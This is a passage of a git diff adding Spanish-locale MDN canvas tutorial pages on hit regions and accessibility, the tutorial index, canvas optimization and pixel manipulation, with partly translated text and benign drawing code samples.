+<p>We won't go over this in detail, since it's actually surprisingly simple. The most important things to note are the use of the <code>fillStyle</code> property on the drawing context, and the use of a utility function (in this case <code>roundedRect()</code>). Using utility functions for bits of drawing you do often can be very helpful and reduce the amount of code you need, as well as its complexity.</p>
+
+<p>We'll take another look at <code>fillStyle</code>, in more detail, later in this tutorial. Here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then back again.</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Basic_usage", "Web/Guide/HTML/Canvas_tutorial/Using_images")}}</p>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/web/guide/html/canvas_tutorial/hit_regions_and_accessibility/index.html b/files/es/web/guide/html/canvas_tutorial/hit_regions_and_accessibility/index.html
new file mode 100644
index 0000000000..967710de49
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/hit_regions_and_accessibility/index.html
@@ -0,0 +1,99 @@
+---
+title: Hit regions and accessibility
+slug: Web/Guide/HTML/Canvas_tutorial/Hit_regions_and_accessibility
+translation_of: Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility
+---
+<div>{{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}</div>
+
+<div class="summary">The {{HTMLElement("canvas")}} element on its own is just a bitmap and does not provide information about any drawn objects. Canvas content is not exposed to accessibility tools like semantic HTML is. In general, you should avoid using canvas in an accessible website or app. The following guidelines can help to make it more accessible.</div>
+
+<div class="summary">El elemento {{HTMLElement ("canvas")}} por sí solo es solo un mapa de bits y no proporciona información sobre ningún objeto dibujado. El contenido del lienzo no está expuesto a herramientas de accesibilidad como el HTML semántico. En general, debe evitar usar canvas en un sitio web o aplicación accesible. Las siguientes pautas pueden ayudar a que sea más accesible.</div>
+
+<h2 id="Fallback_content">Fallback content</h2>
+
+<p>The content inside the <code>&lt;canvas&gt; ... &lt;/canvas&gt;</code> tags can be used as a fallback for browsers which don't support canvas rendering. It's also very useful for assistive technology users (like screen readers) which can read and interpret the sub DOM in it. A good example at <a href="http://www.html5accessibility.com/tests/canvas.html">html5accessibility.com</a> demonstrates how this can be done:</p>
+
+<pre class="brush: html">&lt;canvas&gt;
+  &lt;h2&gt;Shapes&lt;/h2&gt;
+  &lt;p&gt;A rectangle with a black border.
+   In the background is a pink circle.
+   Partially overlaying the &lt;a href="http://en.wikipedia.org/wiki/Circle" onfocus="drawCircle();" onblur="drawPicture();"&gt;circle&lt;/a&gt;.
+   Partially overlaying the circle is a green
+   &lt;a href="http://en.wikipedia.org/wiki/Square" onfocus="drawSquare();" onblur="drawPicture();"&gt;square&lt;/a&gt;
+   and a purple &lt;a href="http://en.wikipedia.org/wiki/Triangle" onfocus="drawTriangle();" onblur="drawPicture();"&gt;triangle&lt;/a&gt;,
+   both of which are semi-opaque, so the full circle can be seen underneath.&lt;/p&gt;
+&lt;/canvas&gt; </pre>
+
+<p>See the <a href="https://www.youtube.com/watch?v=ABeIFlqYiMQ">video how NVDA reads this example by Steve Faulkner</a>.</p>
+
+<h2 id="ARIA_rules">ARIA rules</h2>
+
+<p>Accessible Rich Internet Applications <strong>(<a href="/en-US/docs/Web/Accessibility/ARIA">ARIA</a>)</strong> defines ways to make Web content and Web applications more accessible to people with disabilities. You can use ARIA attributes to describe the behavior and purpose of the canvas element. See <a href="/en-US/docs/Web/Accessibility/ARIA">ARIA</a> and <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques">ARIA techniques</a> for more information.</p>
+
+<pre class="brush: html">&lt;canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"&gt;&lt;/canvas&gt;
+</pre>
+
+<h2 id="Hit_regions">Hit regions</h2>
+
+<p>Whether the mouse coordinates are within a particular area on the canvas, is a common problem to solve. The hit region API allows you to define an area of your canvas and provides another possibility to expose interactive content on a canvas to accessibility tools. It allows you to make hit detection easier and lets you route events to DOM elements. The API has the following three methods (which are still experimental in current web browsers; check the browser compatibility tables).</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Adds a hit region to the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Removes the hit region with the specified <code>id</code> from the canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>Removes all hit regions from the canvas.</dd>
+</dl>
+
+<p>You can add a hit region to your path and check for the {{domxref("MouseEvent.region")}} property to test if your mouse is hitting your region, for example.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;script&gt;
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: 'circle'});
+
+canvas.addEventListener('mousemove', function(event) {
+  if (event.region) {
+    alert('hit region: ' + event.region);
+  }
+});
+&lt;/script&gt;</pre>
+
+<p>The <code>addHitRegion()</code> method also takes a <code>control</code> option to route events to an element (that is a descendant of the canvas):</p>
+
+<pre class="brush: js">ctx.addHitRegion({control: element});</pre>
+
+<p>This can be useful for routing to {{HTMLElement("input")}} elements, for example. See also this <a href="https://codepen.io/peterj35/pen/PEdLKx">codepen demo</a>.</p>
+
+<h2 id="Focus_rings">Focus rings</h2>
+
+<p>When working with the keyboard, focus rings are a handy indicator to help navigating on a page. To draw focus rings on a canvas drawing, the <code>drawFocusIfNeeded</code> property can be used.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} {{experimental_inline}}</dt>
+ <dd>If a given element is focused, this method draws a focus ring around the current path.</dd>
+</dl>
+
+<p>Additionally, the <code>scrollPathIntoView()</code> method can be used to make an element visible on the screen if focused, for example.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} {{experimental_inline}}</dt>
+ <dd>Scrolls the current path or a given path into the view.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases">Canvas accessibility use cases</a></li>
+ <li><a href="https://www.w3.org/html/wg/wiki/AddedElementCanvas">Canvas element accessibility issues</a></li>
+ <li><a href="http://www.paciellogroup.com/blog/2012/06/html5-canvas-accessibility-in-firefox-13/">HTML5 Canvas Accessibility in Firefox 13 – by Steve Faulkner</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#best-practices">Best practices for interactive canvas elements</a></li>
+</ul>
+
+<div>{{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}</div>
diff --git a/files/es/web/guide/html/canvas_tutorial/index.html b/files/es/web/guide/html/canvas_tutorial/index.html
new file mode 100644
index 0000000000..da5b0b3cc9
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/index.html
@@ -0,0 +1,61 @@
+---
+title: Tutorial Canvas
+slug: Web/Guide/HTML/Canvas_tutorial
+tags:
+  - Canvas
+  - HTML5
+  - graficos
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<p><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a></p>
+
+<p><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a> es un elemento <a href="/en-US/docs/HTML" title="HTML">HTML</a> el cual puede ser usado para dibujar gráficos usando scripts (normalmente <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>). Este puede, por ejemplo, ser usado para dibujar gráficos, realizar composición de fotos o simples (y <a href="/en-US/docs/HTML/Canvas/A_Basic_RayCaster" title="A_Basic_RayCaster">no tan simples</a>) animaciones. Las imágenes a la derecha muestran algunos ejemplos de implementaciones <code>&lt;canvas&gt;</code>  las cuales se verán en un futuro en este tutorial.</p>
+
+<p><code>&lt;canvas&gt;</code>  fue introducido primero por Apple para el Mac OS X Dashboard y después implementado en Safari y Google Chrome. Navegadores basados en <a href="/en-US/docs/Gecko" title="Gecko">Gecko</a> 1.8, tal como Firefox 1.5, que también soportan este elemento. El <code>&lt;canvas&gt;</code> es un elemento parte de las especificaciones de la <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> mejor conocida como HTML5.</p>
+
+<p><span class="seoSummary">En este tutorial se describe cómo usar el elemento <code>&lt;canvas&gt;</code> para dibujar gráficos en 2D, empezando con lo básico. Los ejemplos le proveerán mayor claridad a las ideas que pueda tener referentes al canvas, así como los códigos que necesita para crear su propio contenido.</span></p>
+
+<h2 id="Before_you_start" name="Before_you_start">Antes de Empezar</h2>
+
+<p>Usar el elemento <code>&lt;canvas&gt;</code> no es algo muy díficil pero necesita saber y entender los aspectos básicos del <a href="/en-US/docs/HTML" title="HTML">HTML</a> y <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>. El elemento <code>&lt;canvas&gt;</code> no está soportado en navegadores viejos, pero están soportado en la mayoría de las versiones más recientes de los navegadores. El tamaño por defecto del canvas es 300px * 150px [ancho (width) * alto (height)]. Pero se puede personalizar el tamaño usando las propiedades height y width de CSS.<span id="result_box" lang="es"><span class="hps"> Con el fin de</span> <span class="hps">dibujar gráficos</span> <span class="hps">en el lienzo</span> <span class="hps">&lt;canvas&gt; se utiliza un</span> <span class="hps">objeto de contexto de</span> <span class="hps">JavaScript</span> <span class="hps">que crea</span> <span class="hps">gráficos</span> <span class="hps">sobre la marcha.</span></span></p>
+
+<h2 id="In_this_tutorial" name="In_this_tutorial">En este Tutorial</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Basic_usage" title="Canvas_tutorial/Basic_usage">Usos Básicos</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes" title="Canvas_tutorial/Drawing_shapes">Dibujando Formas</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Using_images" title="Canvas_tutorial/Using_images">Usando Imágenes</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">Aplicando estilos y colores</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Transformations" title="Canvas_tutorial/Transformations">Transformaciones</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Compositing" title="Canvas_tutorial/Compositing">Composiciones</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Basic_animations" title="Canvas_tutorial/Basic_animations">Animaciones Básicas</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas" title="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas">Optimización de Canvas</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas">Canvas topic page</a></li>
+ <li><a href="/en-US/docs/HTML/Canvas/Drawing_Graphics_with_Canvas" title="Drawing_Graphics_with_Canvas">Drawing Graphics with Canvas</a></li>
+ <li><a href="/en-US/docs/tag/Canvas_examples" title="tag/Canvas_examples">Canvas examples</a></li>
+ <li><a href="http://www.html5andcss3.org">HTML5 Tutorial</a></li>
+ <li><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">Drawing Text Using a Canvas</a></li>
+ <li><a class="external" href="http://developer.apple.com/library/safari/#documentation/AudioVideo/Conceptual/HTML-canvas-guide/AddingText/AddingText.html#//apple_ref/doc/uid/TP40010542-CH6-SW4" title="Adding Text to Canvas">Adding Text to Canvas</a></li>
+ <li><a class="external" href="http://www.canvasdemos.com/" title="Canvas Demos">Canvas Demos - Games, applications, tools and tutorials</a></li>
+ <li><a class="external" href="http://canvimation.github.com/" title="http://canvimation.github.com/">Canvas Drawing and Animation Application</a></li>
+ <li><a class="external" href="http://billmill.org/static/canvastutorial/" title="http://billmill.org/static/canvastutorial/">Interactive canvas tutorial</a></li>
+ <li><a class="external" href="http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html" title="http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html">Canvas Cheat Sheet with all attributes and methods</a></li>
+ <li><a class="external" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Adobe Illustrator to Canvas plug-in</a></li>
+ <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li>
+ <li><a class="external" href="http://html5tutorial.com/how-to-draw-n-grade-bezier-curve-with-canvas-api" title="http://html5tutorial.com/how-to-draw-n-grade-bezier-curve-with-canvas-api">How to draw N grade Bézier curves with the Canvas API</a></li>
+ <li><a class="external" href="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/" title="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/">31 days of canvas tutorials</a></li>
+ <li><a href="http://www.w3.org/TR/2dcontext/" title="http://www.w3.org/TR/2dcontext/">W3C Standard</a></li>
+ <li><a href="http://www.tutorialspark.com/html5/HTML5_canvas_Intro.php" title="http://www.tutorialspark.com/html5/HTML5_canvas_Intro.php">HTML5 Canvas tutorials and reference</a></li>
+ <li><a href="http://davidwalsh.name/convert-canvas-image">JavaScript Canvas Image Conversion</a></li>
+</ul>
+
+<h2 id="Nota_a_los_contribuyentes">Nota a los contribuyentes</h2>
+
+<p>Debido a un desafortunado error técnico que ocurrió el 17 de junio del 2013, perdimos la historia de este tutorial, incluyendo atribuciones a todos los contribuyentes del pasado a su contenido. Pedimos disculpas por esto, y esperamos que perdone este desafortunado percance.</p>
+
+<div>{{ Next("Web/Guide/HTML/Canvas_tutorial/Basic_usage") }}</div>
diff --git a/files/es/web/guide/html/canvas_tutorial/optimizing_canvas/index.html b/files/es/web/guide/html/canvas_tutorial/optimizing_canvas/index.html
new file mode 100644
index 0000000000..145e2734f0
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/optimizing_canvas/index.html
@@ -0,0 +1,19 @@
+---
+title: Optimizing canvas
+slug: Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas
+translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+---
+<p>{{HTMLElement("canvas")}} es uno de los estándares más utilizados para la representación de gráficos 2D en la Web. Se utiliza ampliamente en los juegos y visualizaciones complejas. Sin embargo, as Web sites and apps push canvas to the limits, el rendimiento comienza a sufrir. <span class="seoSummary">This article aims to provide suggestions for optimizing your use of the canvas element, to ensure that your Web site or app performs well.</span></p>
+<p>A continuación una lista de tips par mejorar el rendimiento:</p>
+<ul>
+ <li>Repintar primitives similares o objetos repetidos dentro y fuera de la pantalla canvas.</li>
+ <li>Batch canvas calls together (for example, draw a poly-line instead of multiple separate lines).</li>
+ <li>Avoid floating-point coordinates and use integers instead.</li>
+ <li>Avoid unnecessary canvas state changes.</li>
+ <li>Render screen differences only, not the whole new state.</li>
+ <li>Utilice varios lienzos en capas para escenas complejas.</li>
+ <li>Evite la propiedad <code>shadowBlur</code> siempre que sea posible.</li>
+ <li>Con las animaciones, use {{domxref("window.requestAnimationFrame()")}}.</li>
+ <li>Probar el rendimiento con <a href="http://jsperf.com" title="http://jsperf.com">JSPerf</a>.</li>
+</ul>
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Basic_animations")}}</p>
diff --git a/files/es/web/guide/html/canvas_tutorial/pixel_manipulation_with_canvas/index.html b/files/es/web/guide/html/canvas_tutorial/pixel_manipulation_with_canvas/index.html
new file mode 100644
index 0000000000..14ccc9c4a5
--- /dev/null
+++ b/files/es/web/guide/html/canvas_tutorial/pixel_manipulation_with_canvas/index.html
@@ -0,0 +1,301 @@
+---
+title: Pixel manipulation with canvas
+slug: Web/Guide/HTML/Canvas_tutorial/Pixel_manipulation_with_canvas
+translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</div>
+
+<div class="summary">
+<p>Hasta ahora, no habíamos mirado los píxeles reales de nuestro <em>canvas</em>. Con el objeto <code>ImageData</code>, puedes leer y escribir directamente un <em>array</em> de datos para manipular píxeles.</p>
+
+<p>También veremos cómo se puede controlar el suavizado de la imagen (antialiasing) y cómo guardar imágenes de tu <em>canvas</em>.</p>
+</div>
+
+<h2 id="El_objeto_ImageData">El objeto <code>ImageData</code></h2>
+
+<p>El objeto {{domxref("ImageData")}} representa los datos pixelados subyacentes de un área de un objeto lienzo. Contiene los siguientes atributos de sólo lectura:</p>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>El ancho de la imagen en píxeles.</dd>
+ <dt><code>height</code></dt>
+ <dd>La altura de la imagen en píxeles.</dd>
+ <dt><code>data</code></dt>
+ <dd>Un objeto {{jsxref("Uint8ClampedArray")}} que representa un array unidimensional, contiene información en formato RGBA, con valores desde <code>0</code> hasta <code>255</code> (incluído).</dd>
+</dl>
+
+<p>La propiedad <code>data</code> devuelve un  {{jsxref("Uint8ClampedArray")}}, al que se puede acceder para ver los datos originales del pixel; cada pixel está representado por cuatro valores (rojo, verde, azul, y alfa, en ese orden; esto es, formato "RGBA"). Cada componente de color se representa con un valor entero entre 0 y 255. Dentro del array, cada componente ocupa un índice consecutivo, comenzando con 0 desde el punto superior izquierdo, continuando de izquierda a derecha y de arriba hacia abajo, a través del array.</p>
+
+<p>El {{jsxref("Uint8ClampedArray")}} contiene <code>alto</code> × <code>ancho</code> × 4 bytes de datos, con valores de índice en el rango entre 0 y (<code>alto</code>×<code>ancho</code>×4)-1.</p>
+
+<p>Por ejemplo, para leer el valor del componente azul del pixel en la columna 200, fila 50 de una imagen, deberías hacer lo siguiente:</p>
+
+<p>blueComponent = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];</p>
+
+<p>Si se le da un conjunto de coordenadas (X e Y), puede que termine haciendo algo así:</p>
+
+<pre class="brush: js">var xCoord = 50;
+var yCoord = 100;
+var canvasWidth = 1024;
+
+function getColorIndicesForCoord(x, y, width) {
+  var red = y * (width * 4) + x * 4;
+  return [red, red + 1, red + 2, red + 3];
+}
+
+var colorIndices = getColorIndicesForCoord(xCoord, yCoord, canvasWidth);
+
+var redIndex = colorIndices[0];
+var greenIndex = colorIndices[1];
+var blueIndex = colorIndices[2];
+var alphaIndex = colorIndices[3];
+
+var redForCoord = imageData.data[redIndex];
+var greenForCoord = imageData.data[greenIndex];
+var blueForCoord = imageData.data[blueIndex];
+var alphaForCoord = imageData.data[alphaIndex];
+</pre>
+
+<p>O, en ES6 sería algo así:</p>
+
+<pre class="brush: js">const xCoord = 50;
+const yCoord = 100;
+const canvasWidth = 1024;
+
+const getColorIndicesForCoord = (x, y, width) =&gt; {
+  const red = y * (width * 4) + x * 4;
+  return [red, red + 1, red + 2, red + 3];
+};
+
+const colorIndices = getColorIndicesForCoord(xCoord, yCoord, canvasWidth);
+
+const [redIndex, greenIndex, blueIndex, alphaIndex] = colorIndices;
+</pre>
+
+<p>You may also access the size of the pixel array in bytes by reading the <code>Uint8ClampedArray.length</code> attribute:</p>
+
+<pre class="brush: js">var numBytes = imageData.data.length;
+</pre>
+
+<h2 id="Creando_un_objeto_ImageData">Creando un objeto <code>ImageData</code></h2>
+
+<p>Para crear un objeto nuevo y vacío tipo <code>ImageData</code>, debes usar el método  {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}. Hay dos versiones del método <code>createImageData()</code>:</p>
+
+<pre class="brush: js">var myImageData = ctx.createImageData(width, height);</pre>
+
+<p>Esto crea un nuevo objeto <code>ImageData</code> con las dimensiones especificadas. Todos los pixels tienen valor correspondiente a negro - transparente (0,0,0,0).</p>
+
+<p>También puedes crear un nuevo objeto <code>ImageData</code> con las mismas dimensiones que otro objeto, especificado por <code>anotherImageData</code>. Los píxels del nuevo objeto tienen valor negro - transparente. <strong>¡Esto no es una copia de los datos de la imagen!</strong></p>
+
+<pre class="brush: js">var myImageData = ctx.createImageData(anotherImageData);</pre>
+
+<h2 id="Getting_the_pixel_data_for_a_context">Getting the pixel data for a context</h2>
+
+<p>To obtain an <code>ImageData</code> object containing a copy of the pixel data for a canvas context, you can use the <code>getImageData()</code> method:</p>
+
+<pre class="brush: js">var myImageData = ctx.getImageData(left, top, width, height);</pre>
+
+<p>This method returns an <code>ImageData</code> object representing the pixel data for the area of the canvas whose corners are represented by the points (<code>left</code>,<code>top</code>), (<code>left+width</code>, <code>top</code>), (<code>left</code>, <code>top+height</code>), and (<code>left+width</code>, <code>top+height</code>). The coordinates are specified in canvas coordinate space units.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Any pixels outside the canvas are returned as transparent black in the resulting <code>ImageData</code> object.</p>
+</div>
+
+<p>This method is also demonstrated in the article <a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a>.</p>
+
+<h3 id="A_color_picker">A color picker</h3>
+
+<p>In this example we are using the <a href="/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData() </a>method to display the color under the mouse cursor. For this, we need the current position of the mouse with <code>layerX</code> and <code>layerY</code>, then we look up the pixel data on that position in the pixel array that <a href="/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData()</a> provides us. Finally, we use the array data to set a background color and a text in the <code>&lt;div&gt;</code> to display the color.</p>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227" style="float:left"&gt;&lt;/canvas&gt;
+&lt;div id="color" style="width:200px;height:50px;float:left"&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js;">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+img.onload = function() {
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+};
+var color = document.getElementById('color');
+function pick(event) {
+  var x = event.layerX;
+  var y = event.layerY;
+  var pixel = ctx.getImageData(x, y, 1, 1);
+  var data = pixel.data;
+  var rgba = 'rgba(' + data[0] + ', ' + data[1] +
+             ', ' + data[2] + ', ' + (data[3] / 255) + ')';
+  color.style.background =  rgba;
+  color.textContent = rgba;
+}
+canvas.addEventListener('mousemove', pick);
+</pre>
+
+<p>{{ EmbedLiveSample('A_color_picker', 610, 240) }}</p>
+
+<h2 id="Painting_pixel_data_into_a_context">Painting pixel data into a context</h2>
+
+<p>You can use the<a href="/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData"> putImageData() </a>method to paint pixel data into a context:</p>
+
+<pre class="brush: js">ctx.putImageData(myImageData, dx, dy);
+</pre>
+
+<p>The <code>dx</code> and <code>dy</code> parameters indicate the device coordinates within the context at which to paint the top left corner of the pixel data you wish to draw.</p>
+
+<p>For example, to paint the entire image represented by <code>myImageData</code> to the top left corner of the context, you can simply do the following:</p>
+
+<pre class="brush: js">ctx.putImageData(myImageData, 0, 0);
+</pre>
+
+<h3 id="Grayscaling_and_inverting_colors">Grayscaling and inverting colors</h3>
+
+<p>In this example we iterate over all pixels to change their values, then we put the modified pixel array back to the canvas using <a href="/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. The invert function simply subtracts each color from the max value 255. The grayscale function simply uses the average of red, green and blue. You can also use a weighted average, given by the formula <code>x = 0.299r + 0.587g + 0.114b</code>, for example. See <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a> on Wikipedia for more information.</p>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+  &lt;input id="grayscalebtn" value="Grayscale" type="button"&gt;
+  &lt;input id="invertbtn" value="Invert" type="button"&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
+  var data = imageData.data;
+
+  var invert = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      data[i]     = 255 - data[i];     // red
+      data[i + 1] = 255 - data[i + 1]; // green
+      data[i + 2] = 255 - data[i + 2]; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var grayscale = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      var avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
+      data[i]     = avg; // red
+      data[i + 1] = avg; // green
+      data[i + 2] = avg; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var invertbtn = document.getElementById('invertbtn');
+  invertbtn.addEventListener('click', invert);
+  var grayscalebtn = document.getElementById('grayscalebtn');
+  grayscalebtn.addEventListener('click', grayscale);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Grayscaling_and_inverting_colors', 330, 270) }}</p>
+
+<h2 id="Zooming_and_anti-aliasing">Zooming and anti-aliasing</h2>
+
+<p>With the help of the {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}} method, a second canvas and the {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} property, we are able to zoom into our picture and see the details.</p>
+
+<p>We get the position of the mouse and crop an image of 5 pixels left and above to 5 pixels right and below. Then we copy that one over to another canvas and resize the image to the size we want it to. In the zoom canvas we resize a 10×10 pixel crop of the original canvas to 200×200.</p>
+
+<pre class="brush: js">zoomctx.drawImage(canvas,
+                  Math.abs(x - 5), Math.abs(y - 5),
+                  10, 10, 0, 0, 200, 200);</pre>
+
+<p>Because anti-aliasing is enabled by default, we might want to disable the smoothing to see clear pixels. You can toggle the checkbox to see the effect of the <code>imageSmoothingEnabled</code> property (which needs prefixes for different browsers).</p>
+
+<h6 class="hidden" id="Zoom_example">Zoom example</h6>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;canvas id="zoom" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+&lt;label for="smoothbtn"&gt;
+  &lt;input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"&gt;
+  Enable image smoothing
+&lt;/label&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var zoomctx = document.getElementById('zoom').getContext('2d');
+
+  var smoothbtn = document.getElementById('smoothbtn');
+  var toggleSmoothing = function(event) {
+    zoomctx.imageSmoothingEnabled = this.checked;
+    zoomctx.mozImageSmoothingEnabled = this.checked;
+    zoomctx.webkitImageSmoothingEnabled = this.checked;
+    zoomctx.msImageSmoothingEnabled = this.checked;
+  };
+  smoothbtn.addEventListener('change', toggleSmoothing);
+
+  var zoom = function(event) {
+    var x = event.layerX;
+    var y = event.layerY;
+    zoomctx.drawImage(canvas,
+                      Math.abs(x - 5),
+                      Math.abs(y - 5),
+                      10, 10,
+                      0, 0,
+                      200, 200);
+  };
+
+  canvas.addEventListener('mousemove', zoom);
+}</pre>
+
+<p>{{ EmbedLiveSample('Zoom_example', 620, 490) }}</p>
+
+<h2 id="Guardando_las_imágenes">Guardando las imágenes</h2>
+
+<p>The {{domxref("HTMLCanvasElement")}} provides a <code>toDataURL()</code> method, which is useful when saving images. It returns a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs">data URI</a> containing a representation of the image in the format specified by the <code>type</code> parameter (defaults to <a class="external external-icon" href="https://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a>). The returned image is in a resolution of 96 dpi.</p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}</dt>
+ <dd>Default setting. Creates a PNG image.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}</dt>
+ <dd>Creates a JPG image. Optionally, you can provide a quality in the range from 0 to 1, with one being the best quality and with 0 almost not recognizable but small in file size.</dd>
+</dl>
+
+<p>Once you have generated a data URI from you canvas, you are able to use it as the source of any {{HTMLElement("image")}} or put it into a hyper link with a <a href="/en-US/docs/Web/HTML/Element/a#attr-download">download attribute</a> to save it to disc, for example.</p>
+
+<p>You can also create a {{domxref("Blob")}} from the canvas.</p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}</dt>
+ <dd>Creates a <code>Blob</code> object representing the image contained in the canvas.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ImageData")}}</li>
